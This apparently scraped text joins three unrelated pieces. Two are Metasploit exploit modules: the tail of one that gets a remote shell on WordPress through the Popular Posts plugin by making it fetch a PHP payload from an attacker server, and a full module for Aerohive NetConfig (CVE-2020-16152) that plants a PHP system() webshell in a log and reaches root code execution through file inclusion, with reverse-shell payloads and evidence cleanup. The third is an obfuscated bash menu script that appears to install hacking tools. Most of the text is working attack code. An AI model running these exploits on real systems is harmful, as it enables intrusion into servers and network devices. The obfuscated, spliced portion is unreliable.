) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 res.body.include? ' gd' end def get_wpp_admin_token(cookie) vprint_status('Retrieving wpp_admin token') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'GET', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'tools' } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 /<input type="hidden" id="wpp-admin-token" name="wpp-admin-token" value="([^"]*)/ =~ res.body Regexp.last_match(1) end def change_settings(cookie, token) vprint_status('Updating popular posts settings for images') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' }, 'vars_post' => { 'upload_thumb_src' => '', 'thumb_source' => 'custom_field', 'thumb_lazy_load' => 0, 'thumb_field' => 'wpp_thumbnail', 'thumb_field_resize' => 1, 'section' => 'thumb', 'wpp-admin-token' => token } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'Unable to save/change settings') unless /<strong>Settings saved/ =~ res.body end def clear_cache(cookie, token) vprint_status('Clearing image cache') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' }, 'vars_post' => { 'action' => 'wpp_clear_thumbnail', 'wpp-admin-token' => token } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 end def enable_custom_fields(cookie, custom_nonce, post) # this should enable the ajax_nonce, it will 302 us back to the referer page as well so we can get it. res = send_request_cgi!( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post.php'), 'cookie' => cookie, 'keep_cookies' => 'true', 'method' => 'POST', 'vars_post' => { 'toggle-custom-fields-nonce' => custom_nonce, '_wp_http_referer' => "#{normalize_uri(target_uri.path, 'wp-admin', 'post.php')}?post=#{post}&action=edit", 'action' => 'toggle-custom-fields' } ) /name="_ajax_nonce-add-meta" value="([^"]*)/ =~ res.body Regexp.last_match(1) end def create_post(cookie) vprint_status('Creating new post') # get post ID and nonces res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post-new.php'), 'cookie' => cookie, 'keep_cookies' => 'true' ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 /name="_ajax_nonce-add-meta" value="(?<ajax_nonce>[^"]*)/ =~ res.body /wp.apiFetch.nonceMiddleware = wp.apiFetch.createNonceMiddleware\( "(?<wp_nonce>[^"]*)/ =~ res.body /},"post":{"id":(?<post_id>\d*)/ =~ res.body if ajax_nonce.nil? print_error('missing ajax nonce field, attempting to re-enable. if this fails, you may need to change the interface to enable this. See https://www.hostpapa.com/knowledgebase/add-custom-meta-boxes-wordpress-posts/. Or check (while writing a post) Options > Preferences > Panels > Additional > Custom Fields.') /name="toggle-custom-fields-nonce" value="(?<custom_nonce>[^"]*)/ =~ res.body ajax_nonce = enable_custom_fields(cookie, custom_nonce, post_id) end unless ajax_nonce.nil? vprint_status("ajax nonce: #{ajax_nonce}") end unless wp_nonce.nil? vprint_status("wp nonce: #{wp_nonce}") end unless post_id.nil? vprint_status("Created Post: #{post_id}") end fail_with(Failure::UnexpectedReply, 'Unable to retrieve nonces and/or new post id') unless ajax_nonce && wp_nonce && post_id # publish new post vprint_status("Writing content to Post: #{post_id}") # this is very different from the EDB POC, I kept getting 200 to the home page with their example, so this is based off what the UI submits res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'ctype' => 'application/json', 'accept' => 'application/json', 'vars_get' => { '_locale' => 'user', 'rest_route' => normalize_uri(target_uri.path, 'wp', 'v2', 'posts', post_id) }, 'data' => { 'id' => post_id, 'title' => Rex::Text.rand_text_alphanumeric(20..30), 'content' => "<!-- wp:paragraph -->\n<p>#{Rex::Text.rand_text_alphanumeric(100..200)}</p>\n<!-- /wp:paragraph -->", 'status' => 'publish' }.to_json, 'headers' => { 'X-WP-Nonce' => wp_nonce, 'X-HTTP-Method-Override' => 'PUT' } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'Post failed to publish') unless res.body.include? '"status":"publish"' return post_id, ajax_nonce, wp_nonce end def add_meta(cookie, post_id, ajax_nonce, payload_name) payload_url = "http://#{datastore['SRVHOSTNAME']}:#{datastore['SRVPORT']}/#{payload_name}" vprint_status("Adding malicious metadata for redirect to #{payload_url}") res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_post' => { '_ajax_nonce' => 0, 'action' => 'add-meta', 'metakeyselect' => 'wpp_thumbnail', 'metakeyinput' => '', 'metavalue' => payload_url, '_ajax_nonce-add-meta' => ajax_nonce, 'post_id' => post_id } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'Failed to update metadata') unless res.body.include? "<tr id='meta-" end def boost_post(cookie, post_id, wp_nonce, post_count) # redirect as needed res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'keep_cookies' => 'true', 'cookie' => cookie, 'vars_get' => { 'page_id' => post_id } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 || res.code == 301 print_status("Sending #{post_count} views to #{res.headers['Location']}") location = res.headers['Location'].split('/')[3...-1].join('/') # http://example.com/<take this value>/<and anything after> (1..post_count).each do |_c| res = send_request_cgi!( 'uri' => "/#{location}", 'cookie' => cookie, 'keep_cookies' => 'true' ) # just send away, who cares about the response fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 res = send_request_cgi( # this URL varies from the POC on EDB, and is modeled after what the browser does 'uri' => normalize_uri(target_uri.path, 'index.php'), 'vars_get' => { 'rest_route' => normalize_uri('wordpress-popular-posts', 'v1', 'popular-posts') }, 'keep_cookies' => 'true', 'method' => 'POST', 'cookie' => cookie, 'vars_post' => { '_wpnonce' => wp_nonce, 'wpp_id' => post_id, 'sampling' => 0, 'sampling_rate' => 100 } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 201 end fail_with(Failure::Unreachable, 'Site not responding') unless res end def get_top_posts print_status('Determining post with most views') res = get_widget />(?<views>\d+) views</ =~ res.body views = views.to_i print_status("Top Views: #{views}") views += 5 # make us the top post unless datastore['VISTS'].nil? print_status("Overriding post count due to VISITS being set, from #{views} to #{datastore['VISITS']}") views = datastore['VISITS'] end views end def get_widget # load home page to grab the widget ID. At times we seem to hit the widget when it's refreshing and it doesn't respond # which then would kill the exploit, so in this case we just keep trying. (1..10).each do |_| @res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => 'true' ) break unless @res.nil? end fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless @res.code == 200 /data-widget-id="wpp-(?<widget_id>\d+)/ =~ @res.body # load the widget directly (1..10).each do |_| @res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php', 'wp-json', 'wordpress-popular-posts', 'v1', 'popular-posts', 'widget', widget_id), 'keep_cookies' => 'true', 'vars_get' => { 'is_single' => 0 } ) break unless @res.nil? end fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless @res.code == 200 @res end def exploit fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful') if datastore['SRVHOST'] == '0.0.0.0' cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD']) if cookie.nil? vprint_error('Invalid login, check credentials') return end payload_name = "#{Rex::Text.rand_text_alphanumeric(5..8)}.gif.php" vprint_status("Payload file name: #{payload_name}") fail_with(Failure::NotVulnerable, 'gd is not installed on server, uexploitable') unless check_gd_installed(cookie) post_count = get_top_posts # we dont need to pass the cookie anymore since its now saved into http client token = get_wpp_admin_token(cookie) vprint_status("wpp_admin_token: #{token}") change_settings(cookie, token) clear_cache(cookie, token) post_id, ajax_nonce, wp_nonce = create_post(cookie) print_status('Starting web server to handle request for image payload') start_service({ 'Uri' => { 'Proc' => proc { |cli, req| on_request_uri(cli, req, payload_name, post_id) }, 'Path' => "/#{payload_name}" } }) add_meta(cookie, post_id, ajax_nonce, payload_name) boost_post(cookie, post_id, wp_nonce, post_count) print_status('Waiting 90sec for cache refresh by server') Rex.sleep(90) print_status('Attempting to force loading of shell by visiting to homepage and loading the widget') res = get_widget print_good('We made it to the top!') if res.body.include? payload_name # if res.body.include? datastore['SRVHOSTNAME'] # fail_with(Failure::UnexpectedReply, "Found #{datastore['SRVHOSTNAME']} in page content. Payload likely wasn't copied to the server.") # end # at this point, we rely on our web server getting requests to make the rest happen endend### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Aerohive NetConfig 10.0r8a LFI and log poisoning to RCE', 'Description' => %q{ This module exploits LFI and log poisoning vulnerabilities (CVE-2020-16152) in Aerohive NetConfig, version 10.0r8a build-242466 and older in order to achieve unauthenticated remote code execution as the root user. NetConfig is the Aerohive/Extreme Networks HiveOS administrative webinterface. Vulnerable versions allow for LFI because they rely on a version of PHP 5 that is vulnerable to string truncation attacks. This module leverages this issue in conjunction with log poisoning to gain RCE as root. Upon successful exploitation, the Aerohive NetConfig application will hang for as long as the spawned shell remains open. Closing the session should render the app responsive again. The module provides an automatic cleanup option to clean the log. However, this option is disabled by default because any modifications to the /tmp/messages log, even via sed, may render the target (temporarily) unexploitable. This state can last over an hour. This module has been successfully tested against Aerohive NetConfig versions 8.2r4 and 10.0r7a. }, 'License' => MSF_LICENSE, 'Author' => [ 'Erik de Jong', # github.com/eriknl - discovery and PoC 'Erik Wynter' # @wyntererik - Metasploit ], 'References' => [ ['CVE', '2020-16152'], # still categorized as RESERVED ['URL', 'https://github.com/eriknl/CVE-2020-16152'] # analysis and PoC code ], 'DefaultOptions' => { 'SSL' => true, 'RPORT' => 443 }, 'Platform' => %w[linux unix], 'Arch' => [ ARCH_ARMLE, ARCH_CMD ], 'Targets' => [ [ 'Linux', { 'Arch' => [ARCH_ARMLE], 'Platform' => 'linux', 'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp', 'CMDSTAGER::FLAVOR' => 'curl' } } ], [ 'CMD', { 'Arch' => [ARCH_CMD], 'Platform' => 'unix', 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_openssl' # this may be the only payload that works for this target' } } ] ], 'Privileged' => true, 'DisclosureDate' => '2020-02-17', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options [ OptString.new('TARGETURI', [true, 'The base path to Aerohive NetConfig', '/']), OptBool.new('AUTO_CLEAN_LOG', [true, 'Automatically clean the /tmp/messages log upon spawning a shell. WARNING! This may render the target unexploitable', false]), ] end def auto_clean_log datastore['AUTO_CLEAN_LOG'] end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'index.php5') }) unless res return CheckCode::Unknown('Connection failed.') end unless res.code == 200 && res.body.include?('Aerohive NetConfig UI') return CheckCode::Safe('Target is not an Aerohive NetConfig application.') end version = res.body.scan(/action="login\.php5\?version=(.*?)"/)&.flatten&.first unless version return CheckCode::Detected('Could not determine Aerohive NetConfig version.') end begin if Rex::Version.new(version) <= Rex::Version.new('10.0r8a') return CheckCode::Appears("The target is Aerohive NetConfig version #{version}") else print_warning('It should be noted that it is unclear if/when this issue was patched, so versions after 10.0r8a may still be vulnerable.') return CheckCode::Safe("The target is Aerohive NetConfig version #{version}") end rescue StandardError => e return CheckCode::Unknown("Failed to obtain a valid Aerohive NetConfig version: #{e}") end end def poison_log password = rand_text_alphanumeric(8..12) @shell_cmd_name = rand_text_alphanumeric(3..6) @poison_cmd = "<?php system($_POST['#{@shell_cmd_name}']);?>" # Poison /tmp/messages print_status('Attempting to poison the log at /tmp/messages...') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'login.php5'), 'vars_post' => { 'login_auth' => 0, 'miniHiveUI' => 1, 'authselect' => 'Name/Password', 'userName' => @poison_cmd, 'password' => password } }) unless res fail_with(Failure::Disconnected, 'Connection failed while trying to poison the log at /tmp/messages') end unless res.code == 200 && res.body.include?('cmn/redirectLogin.php5?ERROR_TYPE=MQ==') fail_with(Failure::UnexpectedReply, 'Unexpected response received while trying to poison the log at /tmp/messages') end print_status('Server responded as expected. Continuing...') end def on_new_session(session) log_cleaned = false if auto_clean_log print_status('Attempting to clean the log file at /tmp/messages...') print_warning('Please note this will render the target (temporarily) unexploitable. This state can last over an hour.') begin # We need remove the line containing the PHP system call from /tmp/messages # The special chars in the PHP syscall make it nearly impossible to use sed to replace the PHP syscall with a regular username. # Instead, let's avoid special chars by stringing together some grep commands to make sure we have the right line and then removing that entire line # The impact of using sed to edit the file on the fly and using grep to create a new file and overwrite /tmp/messages with it, is the same: # In both cases the app will likely stop writing to /tmp/messages for quite a while (could be over an hour), rendering the target unexploitable during that period. line_to_delete_file = "/tmp/#{rand_text_alphanumeric(5..10)}" clean_messages_file = "/tmp/#{rand_text_alphanumeric(5..10)}" cmds_to_clean_log = "grep #{@shell_cmd_name} /tmp/messages | grep POST | grep 'php system' > #{line_to_delete_file}; "\ "grep -vFf #{line_to_delete_file} /tmp/messages > #{clean_messages_file}; mv #{clean_messages_file} /tmp/messages; rm -f #{line_to_delete_file}" if session.type.to_s.eql? 'meterpreter' session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi' session.sys.process.execute('/bin/sh', "-c \"#{cmds_to_clean_log}\"") # Wait for cleanup Rex.sleep 5 # Check for the PHP system call in /tmp/messages messages_contents = session.fs.file.open('/tmp/messages').read.to_s # using =~ here produced unexpected results, so include? is used instead unless messages_contents.include?(@poison_cmd) log_cleaned = true end elsif session.type.to_s.eql?('shell') session.shell_command_token(cmds_to_clean_log.to_s) # Check for the PHP system call in /tmp/messages poison_evidence = session.shell_command_token("grep #{@shell_cmd_name} /tmp/messages | grep POST | grep 'php system'") # using =~ here produced unexpected results, so include? is used instead unless poison_evidence.include?(@poison_cmd) log_cleaned = true end end rescue StandardError => e print_error("Error during cleanup: #{e.message}") ensure super end unless log_cleaned print_warning("Could not replace the PHP system call '#{@poison_cmd}' in /tmp/messages") end end if log_cleaned print_good('Successfully cleaned up the log by deleting the line with the PHP syscal from /tmp/messages.') else print_warning("Erasing the log poisoning evidence will require manually editing/removing the line in /tmp/messages that contains the poison command:\n\t#{@poison_cmd}") print_warning('Please note that any modifications to /tmp/messages, even via sed, will render the target (temporarily) unexploitable. This state can last over an hour.') print_warning('Deleting /tmp/messages or clearing out the file may break the application.') end end def execute_command(cmd, _opts = {}) print_status('Attempting to execute the payload') send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'action.php5'), 'vars_get' => { '_action' => 'list', 'debug' => 'true' }, 'vars_post' => { '_page' => rand_text_alphanumeric(1) + '/..' * 8 + '/' * 4041 + '/tmp/messages', # Trigger LFI through path truncation @shell_cmd_name => cmd } }, 0) print_warning('In case of successful exploitation, the Aerohive NetConfig web application will hang for as long as the spawned shell remains open.') end def exploit poison_log if target.arch.first == ARCH_CMD print_status('Executing the payload') execute_command(payload.encoded) else execute_cmdstager(background: true) end endend
mujeebxp
z=" ";XLz='Wifi';MIz='webs';EOz='Crun';nRz='┴ ┴';YRz=' ┬ ';hWz=' '\''↓↓';GRz='tu';WEz='o Ho';FFz=''\''╚╩╝';hNz='/sma';tIz='Brea';hQz='┴'\''';MHz='mapp';BGz=' Exp';xOz='Inst';EWz='ame:';LBz='Vers';hRz='┌┼─ ';gPz='k}'\'' ';iHz='-O h';wMz='cd G';fVz=' ╦╔═';oFz='trik';XFz='nder';tLz='/0x9';mIz='rike';GOz=' wor';DHz='}'\'' $';YLz='te}'\''';ZBz='_ _';ZIz='l';LPz='ss =';LVz='ll P';PUz=' '\''Fi';HKz='ckin';eSz='chop';dSz='/tom';mWz='m: K';CVz='l}'\'' ';WRz=' ter';xWz='6393';ZHz='pyth';lWz='agra';HVz=''\''Fin';Xz='ow='\''';WKz='-it/';RPz='dana';sTz='-Scr';IFz='╩ ╩┴';ZUz='et}'\''';qUz='w3m ';LKz='Info';hOz='┴ ┴└';VVz='ET.g';bFz='loit';PFz='WPSe';XMz='t-sh';pQz=' roo';lKz=' ╩┴ ';QBz=''\'' ';GPz='an'\''';eGz=']';ez='low ';gJz='ass-';FCz='[1] ';sBz='__ |';qOz=' Bru';ETz='ng'\''';uRz='─└─┘';WWz='ia/S';cJz='webd';fz=''\''[>>';pz='iNg-';DGz=' Nma';ZFz='ap'\''';BWz='═╝'\''';iUz='y}'\'' ';jNz='ode-';vGz='/oma';dHz=' ins';DUz='/IP-';HFz='─┘ ';tEz='┌─┐┌';KUz='ng-A';MOz='ls';DQz='ity/';NOz='ch}'\''';gUz='ruby';GDz='ne =';NXz=''\''<==';PXz='en'\'' ';XKz='aclp';WFz='0xFi';qKz='Atta';XGz='hois';ZSz='akec';mBz='/'\''';rIz='/XSS';LWz=' KIN';WBz='_ __';XBz='__ _';AUz='ux';gz='>>>>';QWz='ge: ';rOz='Hydr';MUz='7 ]';lIz='XSSt';yGz='/Inj';EJz='= 15';bCz='ot'\''';YGz=' web';VKz='/fox';tz=' ]'\''';BVz='{cur';IMz='├─┤ ';OOz='/KUR';HWz='lmuf';mRz=''\''╚═╝';eNz='tor}';hSz='┌┬┐┬';qGz=' cle';mCz='ut T';GCz='DDOS';aLz=' -y';bPz='ter}';XJz='VHxX';gTz='othe';uJz='= 17';wTz='kti/';Rz='cyan';GKz='g-ha';dNz='0/t-';kRz='┘│ │';fNz='/raz';RXz='ood ';qPz='zer';QTz='ermu';oz='y: K';ANz='d 77';GGz=' VJS';KXz='er A';NBz=' 0.2';WQz=' ││ ';ULz='rspl';YSz='12/f';mDz='bash';xUz=' w3m';jGz='it';hPz='/avr';wVz=' ╩╩ ';BUz='5 ]';aHz='on2';pOz='book';XUz='hon}';oRz=' ┴┴ ';AHz='eCto';nMz='splo';BTz=' Net';TBz='<]'\''';TVz='ng67';MSz='s = ';EHz='n';lUz='{php';jWz='↓ ↓↓';LHz='/sql';xLz='s.gi';DRz='/ter';QDz=''\''═╩╝';nHz='ubus';oCz='rogr';PDz=' ║╚═';YEz='m';hCz='[9] ';hFz=' Xsh';BXz=': Ki';xJz='o2l7';lMz='payl';LCz='WIFI';BBz='ow'\'' ';DXz='ng.S';RGz=' Act';FBz='T.me';lOz=' ╩ ┴';GUz='6 ]';GHz='bdul';sLz='pts}';bWz='ramm';JNz='hack';BSz='Fake';nCz='he P';dKz='┬┌─'\''';ADz='mber';hz='>]'\''';tSz=' ┴ ┴';rVz='║║║║';Sz='6m'\''';aKz='┬ ╦';WUz='{pyt';DNz=' set';EEz='een';sMz='sh/G';yz='Hack';CQz='ecur';UMz='TXTo';UCz='[6] ';dPz='h-Bu';XRz='─┐ ';hHz=' -k ';PJz=' req';nQz='Fedo';yIz='an}'\''';EBz='am: ';IEz='e ht';YHz='all ';fCz='& Vi';KPz=' pas';FUz='tor.';xQz='o';HIz='dump';ZTz='her ';WOz='═╗┌┬';DLz=' $wi';UHz='= 8 ';UUz='on -';uNz='┬┘ │';wJz='/Med';NCz='K'\''';APz='k'\''';KBz='w'\'' ';cQz=''\'' ╩ ';ZOz='─┌─┐';iIz='ttac';fLz='derv';uQz='2/te';fRz='││││';REz='xes';AIz='&& c';HGz=' Inf';UPz='forc';ABz='sy'\''$';XSz='utra';oHz='erco';rCz='exit';TIz='= 10';IKz='g/MR';CWz=' '\''# ';VCz='Pass';BJz='eye9';YBz='____';dMz='tor'\''';kMz='d = ';BLz=' wif';rKz='cker';FWz=' Adh';sPz='v3r/';LEz='thub';OJz=' lib';KCz='[3] ';kDz='os =';kCz='[10]';cNz='er01';WLz=' = 4';LDz='═╗╔═';AMz='┌─┐┬';QUz='nsh ';wDz=' '\''St';CPz='Hunn';SNz='/kub';cKz='┐┌─┐';dFz='ump'\''';cEz=' = 2';XNz='u7/A';BOz='┘┴─┘';IQz='rceJ';KFz='┘┴ ┴';KEz='//gi';JQz='K';pKz='Twin';wEz='─┐┌─';fKz='│ ╠';FEz='cd ~';oJz='s-ex';QRz='ux-f';EXz='y'\''';HMz=' │ │';PGz='te'\''';ZPz='a';RNz='ol}'\''';vEz='╦ ╦┌';jIz='ker';WTz=' oth';yJz='alab';fHz=' goo';AFz='├┤ ├';yQz='root';KRz='onte';sFz='ache';FKz='/kin';ZEz='cd K';lPz='ck';fIz='am3d';wQz='-sud';DIz='ump.';YCz='[7] ';jEz='s}'\'' ';LIz='= 9 ';ODz=' ║║║';CTz='hunt';NPz='-bru';wLz='ript';yVz='╩ ╩╩';tRz=' ┴┴└';pGz='= 3 ';HEz='clon';vWz='sapp';iCz='Othe';eQz=' ╩╚';NDz=''\'' ║║';eHz='tall';tQz='/st4';ZGz=' $we';eFz='Webs';vTz='azMu';nz='pt B';NWz='CKIN';WHz='pkg ';gFz='t'\''';DVz='upda';Hz='m'\''';uCz=' -p ';iTz='Neth';RTz='x'\''';tCz='read';xSz='┘'\''';LXz='ny K';KQz='1 ]';pEz='else';OPz='te-f';pNz='-cp/';TWz=' old';jSz='┐┬─┐';KTz='ting';EGz='p'\''';MLz='k/fl';LOz='0/mk';Cz='e[1;';KHz='ap}'\''';OXz='=>'\''';IJz='Expl';bVz=' '\''╦╔';UGz='ctor';Mz='purp';WDz='es'\''';kFz=' XAt';wz='k: K';bGz='0 ]';CGz='[16]';EKz='NG}'\''';yCz='e Nu';FMz='├─┤└';pUz='p / ';xNz=' │'\''';nTz='/Hax';NMz='┘└─┘';NJz='ssl ';CHz='= 4 ';xz='ing.';Pz=';35m';vCz=''\''Inp';DJz='Scan';RQz='─┐┬ ';iVz='╔╗╔╔';eEz='/cyw';yFz='dav ';xBz='[===';ZCz='Tool';XPz='a}'\'' ';tUz='perl';mTz='mux}';jHz='ttps';iOz='─┘└─';NUz='git}';MVz='kgs'\''';MJz='open';XHz='inst';iQz='Term';DFz='─┤│ ';HQz='0/Fo';hGz='hat/';kEz='/gkb';kIz='= 12';QCz='OAD'\''';BRz='/Neo';lHz='ist.';mPz='zer}';EPz='l_at';MFz='n-pa';vKz='wifi';rEz='mine';ZDz='Slow';QIz='acki';AJz='/Gam';Qz=''\''';BDz=' > '\''';QNz='txto';rRz='└┘ ';vPz='ubSi';SSz='pamm';KKz='= 19';yNz='└─┘┴';QOz='DE/C';XOz='┐┌┬┐';qQz=' $ro';NRz='milo';PCz='PAYL';VDz='Xerx';YNz='-Rat';sz='low'\''';AXz='654'\''';CRz='-Oli';RUz='{git';JEz='tps:';vz='eboo';FJz='Webd';uDz=' = 1';VIz='ll}'\''';gVz='╗╔═╗';mMz='oad ';jKz='┴└ ';GEz='git ';fQz='═└─┘';SOz='h-Cr';vUz='{unz';aNz='ell}';FGz='[17]';rDz='elif';qBz='___]';cMz='njec';pWz='Tele';eCz='mer ';wWz=': +9';lBz='|___';oIz='imat';KJz='apt ';jQz='ux-S';NSz='2 ]';IHz='= 5 ';CXz='ng.H';xKz='wps-';wHz='mkdi';HUz='-AD}';aOz='─┐└─';VLz='oit';fBz=' | |';nFz=' XSS';xRz='ciou';MPz='face';ONz='/PAY';lRz='└─┐'\''';aPz='-Bus';IOz=' $wo';jJz='&& m';LUz='D.gi';BCz='u ==';dLz='/raw';GVz='ade ';DEz=' $gr';eJz='y';tKz='rout';vMz='id.g';iEz=' = 3';iGz='er.g';CCz='=]'\''';dVz='╔╔═╗';NGz='[19]';FRz='ubun';vQz='rmux';CMz=' ┌─┐';uz=' Fac';UQz=''\'' ║ ';BEz='...{';aGz='b = ';aQz='│ │ ';bIz='XAtt';gBz='[__ ';bLz=' htt';dIz='r}'\'' ';IBz='1'\''$y';iz=''\''['\''$';wFz='[15]';xFz=' Web';PPz='orce';sKz='flux';dTz='nil/';wKz='te2'\''';fDz='"Inp';QJz='uest';DTz='tyli';kKz='┴ ╩';UJz='com/';TQz='╗┌─┐';QMz='Splo';PWz='My A';mNz='g';NFz='nel-';PIz='404H';QGz='[20]';PNz='MAX';HCz='[2] ';VNz='ool';uUz='p -y';fTz='k.gi';aIz='= 11';qCz='[0] ';bMz='de-i';DOz='Mkls';CLz='i';RHz='= 7 ';bNz='/las';ILz='lTwi';oSz=' │ ├';HSz=' $vi';GXz='ub: ';qDz='sh';uLz='0/wp';KGz='[18]';LNz='/Mat';nNz='/dan';QPz='kerA';uBz='\'\''';MQz='ash}';oWz='ing'\''';wSz=' └─┘';qHz='t.co';OBz=''\''$ye';xMz='id';qJz='Nmap';rJz='nmap';nOz='─┘┴ ';FXz='Gith';jTz='unte';cHz='pip2';IRz='hubu';OTz='kg f';fJz='av-m';cDz='en "';iRz=' ╚╗╔';mUz='toil';JRz='serc';tHz='98/7';oVz='═╣╠═';qLz='te2.';VOz='┐ ╔';eTz='ngro';cLz='ps:/';kHz='://g';tWz='er1'\''';MEz='.com';FNz=' gho';dQz='─┘┴─';PEz='amal';kVz=' '\''╠╩';rz='InG'\''';mEz='lowl';ZLz='wget';UWz='From';uVz='╩╩╝╚';bTz='mast';BMz=' ┬┬ ';BHz='r-SY';JKz='KING';OVz='n = ';XEz='me'\'' ';qFz='[13]';lTz='-Ter';HPz=' For';qVz='╠╩╗║';OUz='-y';xVz='╩╚═╝';pHz='nten';nPz='/Anb';hMz=' pay';Wz='yell';USz='rab';vLz='s-sc';GLz='L4bs';STz='TOKE';kUz='php ';RVz='/Ran';HOz='dlis';yDz='Down';oUz='unzi';tBz=' \_ ';iSz=' ┬┌─';mQz='tu'\''';vFz='can'\''';JCz='HACK';rBz='| |';fSz='/mal';Bz='n='\''\';EIz='py &';cCz='[8] ';IPz='ceJK';wNz='│└─┐';sEz=''\''╦ ╦';kNz='inje';lEz='rk/s';TNz='uran';GWz='am A';aBz=' _ ';KDz='╔╦╗╔';eMz='back';vJz='VJS}';OEz='yarj';gNz='aina';CEz='es}'\''';TSz='er-G';sNz='┌┬┐'\''';VGz='y AC';pLz='v82/';qMz='sTma';fWz='on a';pBz='___ ';OQz='_has';pRz='┴┴ ┴';iMz=' $pa';FLz='/P0c';TJz='bin.';hVz='╦╔═╦';HNz='roid';jDz=' $dd';MRz='om/n';COz=' ┴'\''';IXz='om/k';BIz='hmod';ENz='up';SCz='word';XWz='yria';OWz='G'\''';KOz='st =';aMz='i-co';jMz='yloa';hTz='r = ';CKz='= 18';Oz='\e[1';JIz='~/sq';rHz='m/Ga';qRz='└─ ';ELz='fi =';FVz='upgr';vRz='└─┘'\''';VTz='n'\''';FDz=' $mi';Tz='whit';eDz='"';VWz=': As';YOz='─┐┬┌';rQz='ot =';rGz='ar';INz='cd';sOz='a'\''';VSz='3 ]';ZQz='╝│ │';TFz='-SY'\''';XQz=' └─┐';eLz='hub.';uMz='-Dro';gGz='lack';UOz='┐┬ ┬';FOz='ch'\''';oDz='g-To';Vz='35m'\''';IDz='then';EFz=' ├┴┐';XCz='acks';JSz='/Hid';bEz='ing';mOz=' ┴ ';UKz='wn}'\''';Dz='32m'\''';BNz='7 se';HXz='ub.c';gLz='82/w';PTz='or T';dDz='Back';vIz='/Bre';OFz='find';QEz='/xer';iNz='li-c';LTz='-AD'\''';HLz='/3vi';GIz=' sql';iJz='oit ';AWz='╝╚╝╚';pMz='/Gho';VRz='h';TMz='AX'\''';JFz=' ┴└─';uIz='cher';nWz='ing1';EQz='an.g';RLz='-she';dOz=' │ ';jz='n'\'' ';Nz='le='\''';XIz='ii/X';vDz=' ]';YFz='sqlm';dUz='{nan';QVz='T}'\'' ';OLz='Rout';qIz='kers';jCz='r'\''';tFz='[14]';RIz='ng/w';Gz='1;31';lLz='py';NQz='g/MK';nIz='/Ult';cIz='acke';pIz='eHac';iDz='s';rFz=' Bre';wPz='rai/';uWz='What';iWz='↓↓↓↓';yHz='ump ';gKz='═╣├─';dz='$yel';fMz='door';WNz='/Xi4';XTz='er';aUz='et -';TGz='Dire';YMz='NG'\''';cUz='let}';cRz=''\''╚═╗';DPz='gmai';Jz='='\''\e';HTz='ocat';pJz='= 16';TEz='e an';sJz='e...';jUz='php}';cOz='═╣ │';JBz='ello';PVz='8 ]';Az='gree';JMz='││'\''';gIz='Riah';ATz='Kali';UEz='d Sa';gOz='┐└─┐';GQz='eJK}';TOz=' = 0';PRz='term';CIz=' +x 